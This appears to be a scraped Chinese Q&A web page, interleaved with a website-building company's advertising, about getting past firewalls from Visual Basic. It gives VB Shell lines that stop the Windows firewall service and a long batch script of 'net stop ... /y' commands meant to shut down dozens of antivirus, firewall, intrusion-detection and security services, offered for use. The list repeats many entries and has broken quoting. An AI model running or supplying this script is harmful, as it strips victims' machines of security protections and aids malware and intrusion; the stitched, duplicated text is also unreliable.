十年网站开发经验 + 多家企业客户 + 靠谱的建站团队
量身定制 + 运营维护+专业推广+无忧售后,网站问题一站解决
Shell "net start sharedaccess" '开启防火墙
创新互联网站建设服务商,为中小企业提供成都网站制作、成都做网站服务,网站设计,网站托管等一站式综合服务型公司,专业打造企业形象网站,让您在众多竞争对手中脱颖而出创新互联。
Shell "net stop sharedaccess" '关闭防火墙
'就这么简单
绕过防火墙的话是很难做到的,至少我没有这个能力。因为这个要取得系统的优先权限,相信VB也很难做到这一点。如果是系统防火墙的话,你可以用关闭系统防火墙服务的方法来实现: shell "cmd net stop sharedacc" '这个是关闭系统防火墙的命令,相反,如果要打开一个系统服务的话你可以把net stop改为net start. 另外是我收集的一些其它防火墙的服务名称,你可以用上述方法对其进行关闭,你也可以把下面的命令保存成为一个批处理文件(*.bat)执行: net stop "Alerter" /y
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Rav.exe" /y
net stop "F-STOPW" /y
net stop "Look'n'Stop Lite" /y
net stop "Lookout.exe" /y
net stop "LUALL" /y
net stop "Luall.exe" /y
net stop "LUCOMSERVER" /y
net stop "MCAFEE" /y
net stop "McAfee Firewall" /y
net stop "McAfee Internet Guard Dog Pro" /y
net stop "Moolive.exe" /y
net stop "Mpftray.exe" /y
net stop "N32scanw.exe" /y
net stop "NAVAPSVC" /y
net stop "NAVAPW32" /y
net stop "Navapw32.exe" /y
net stop "NAVLU32" /y
net stop "Navlu32.exe" /y
net stop "Navnt.exe" /y
net stop "NAVRUNR" /y
net stop "NAVW32" /y
net stop "Navw32.exe" /y
net stop "NAVWNT" /y
net stop "Navwnt.exe" /y
net stop "NeoWatch" /y
net stop "NISSERV" /y
net stop "NISUM" /y
net stop "Nisum.exe" /y
net stop "NMAIN" /y
net stop "Nmain.exe" /y
net stop "Norman Personal Firewall" /y
net stop "Normist.exe" /y
net stop "NORTON" /y
net stop "Norton AntiVirus Server" /y
net stop "Norton Internet Security" /y
net stop "Norton Personal Firewall 2001" /y
net stop "Nupgrade.exe" /y
net stop "Pc firewall" /y
net stop "PC Viper" /y
net stop "PCCIOMON" /y
net stop "Ecengine.exe" /y
net stop "eSafe Protect Desktop" /y
net stop "Esafe.exe" /y
net stop "Espwatch.exe" /y
net stop "eTrust EZ Firewall" /y
net stop "F-Agnt95.exe" /y
net stop "Findviru.exe" /y
net stop "Fprot.exe" /y
net stop "F-Prot.exe" /y
net stop "F-PROT95" /y
net stop "F-Prot95.exe" /y
net stop "FP-WIN" /y
net stop "F-Stopw.exe" /y
net stop "GNAT Box Lite" /y
net stop "IAMAPP" /y
net stop "Iamapp.exe" /y
net stop "Iamserv.exe" /y
net stop "Ibmasn.exe" /y
net stop "Ibmavsp.exe" /y
net stop "Icload95.exe" /y
net stop "Icloadnt.exe" /y
net stop "ICMON" /y
net stop "Icmon.exe" /y
net stop "Icsupp95.exe" /y
net stop "Icsuppnt.exe" /y
net stop "Iface.exe" /y
net stop "Internet Alert 99" /y
net stop "IOMON98" /y
net stop "Iomon98.exe" /y
net stop "Jedi.exe" /y
net stop "MCAFEE" /y
net stop "McAfee Firewall" /y
net stop "McAfee Internet Guard Dog Pro" /y
net stop "Moolive.exe" /y
net stop "Mpftray.exe" /y
net stop "N32scanw.exe" /y
net stop "NAVAPSVC" /y
net stop "NAVAPW32" /y
net stop "Navapw32.exe" /y
net stop "NAVLU32" /y
net stop "Navlu32.exe" /y
net stop "Navnt.exe" /y
net stop "NAVRUNR" /y
net stop "NAVW32" /y
net stop "Navw32.exe" /y
net stop "NAVWNT" /y
net stop "Navwnt.exe" /y
net stop "NeoWatch" /y
net stop "NISSERV" /y
net stop "NISUM" /y
net stop "Nisum.exe" /y
net stop "NMAIN" /y
net stop "Norton AntiVirus Server" /y
net stop "Nupgrade.exe" /y
net stop "NVC95" /y
net stop "Nvc95.exe" /y
net stop "Outpost.exe" /y
net stop "Padmin.exe" /y
net stop "Pavcl.exe" /y
net stop "Pavsched.exe" /y
net stop "Pavw.exe" /y
net stop "Pc firewall" /y
net stop "PC Viper" /y
net stop "PCCIOMON" /y
net stop "PCCMAIN" /y
net stop "PCCWIN98" /y
net stop "Pccwin98.exe" /y
net stop "Pcfwallicon.exe" /y
net stop "Persfw.exe" /y
net stop "PGP Gauntlet" /y
net stop "POP3TRAP" /y
net stop "Proxy +" /y
net stop "RsRavMon Service" /y
net stop "PVIEW95" /y
net stop "Rav7.exe"
net stop "Safeweb.exe" /y
net stop "Scan32.exe" /y
net stop "Scan95.exe" /y
net stop "Snort - Win32 GUI" /y
net stop "Snort (Intrusion Detection System)" /y
net stop "Sphinx.exe" /y
net stop "Sphinxwall" /y
net stop "Sweep95.exe" /y
net stop "Sybergen Secure Desktop" /y
net stop "Sybergen SyGate" /y
net stop "SYMPROXYSVC" /y
net stop "Tbscan.exe" /y
net stop "Tca.exe" /y
net stop "Tds2-98.exe" /y
net stop "Tds2-Nt.exe" /y
net stop "TermiNET" /y
net stop "TGB:BOB" /y
net stop "Tiny Personal Firewall" /y
net stop "Vet95.exe" /y
net stop "Vettray.exe" /y
net stop "Vscan40.exe" /y
net stop "Vsecomr.exe" /y
net stop "VSHWIN32" /y
net stop "Vshwin32.exe" /y
net stop "VSSTAT" /y
net stop "Vsstat.exe" /y
net stop "WEBSCANX" /y
net stop "Webscanx.exe" /y
net stop "WEBTRAP" /y
net stop "Wfindv32.exe" /y
net stop "Wingate" /y
net stop "WinProxy" /y
net stop "WinRoute" /y
net stop "WyvernWorks Firewall" /y
net stop "Zonealarm" /y
net stop "Zonealarm.exe" /y
net stop "AVP32" /y
net stop "LOCKDOWN2000" /y
net stop "AVP.EXE" /y
net stop "CFINET32" /y
net stop "CFINET" /y
net stop "ICMON" /y
net stop "SAFEWEB" /y
net stop "WEBSCANX" /y
net stop "ANTIVIR" /y
net stop "MCAFEE" /y
net stop "NORTON" /y
net stop "NVC95" /y
net stop "FP-WIN" /y
net stop "IOMON98" /y
net stop "PCCWIN98" /y
net stop "F-PROT95" /y
net stop "F-STOPW" /y
net stop "PVIEW95" /y
net stop "NAVWNT /y
net stop "NAVRUNR" /y
net stop "NAVLU32" /y
net stop "NAVAPSVC" /y
net stop "NISUM" /y
net stop "SYMPROXYSVC" /y
net stop "RESCUE32" /y
net stop "NISSERV" /y
net stop "ATRACK" /y
net stop "IAMAPP" /y
net stop "LUCOMSERVER" /y
net stop "LUALL" /y
net stop "NMAIN" /y
net stop "NAVW32" /y
net stop "NAVAPW32" /y
net stop "VSSTAT" /y
net stop "VSHWIN32" /y
net stop "AVSYNMGR" /y
net stop "AVCONSOL" /y
net stop "WEBTRAP" /y
net stop "POP3TRAP" /y
net stop "PCCMAIN" /y
net stop "PCCIOMON" /y
net stop "Virtual CD v4 Security service (SDK - Version)" /y
net stop "Norton Internet Security Accounts Manager" /y
net stop "Norton AntiVirus Auto-Protect" /y
net stop "Internet Connection Firewall (ICF) / Internet Connection Sharing (ICS)" /y
net stop "Symantec Event Manager" /y
net stop "Symantec Proxy Service" /y
net stop "Symantec AntiVirus Server" /y
net stop "Symantec Client Firewall Accounts Manager" /y
net stop "Symantec Client Firewall Proxy Service" /y
net stop "Symantec Client Firewall Service" /y
net stop "Symantec Settings Manager" /y
net stop "NT LM Security Support Provider" /y
net stop "Protected Storage" /y
net stop "TskSrv FTP Server" /y
net stop "Norton AntiVirus Auto Protect Service" /y
net stop "IPSEC Policy Agent" /y
net stop "MonSvcNT" /y
net stop "FTP Publishing Service" /y
net stop "IPSEC Services" /y
net stop "Symantec AntiVirus Client" /y
net stop "Sygate Personal Firewall" /y
net stop "AntiVir Service" /y
net stop "SafeNet IKE Service" /y
net stop "SafeNet Monitor Service" /y
net stop "Sophos Anti-Virus" /y
net stop "Sophos Anti-Virus Network" /y
net stop "Sophos Anti-Virus Update" /y
两种方法
1、将防火墙设置为仅内部访问,不过很多内部的功能将不能使用
2、在服务器端写一个IP锁定的功能,凡IP符合就能使用,不符合就不能使用,这样方便你将来给某些外部的机器开绿灯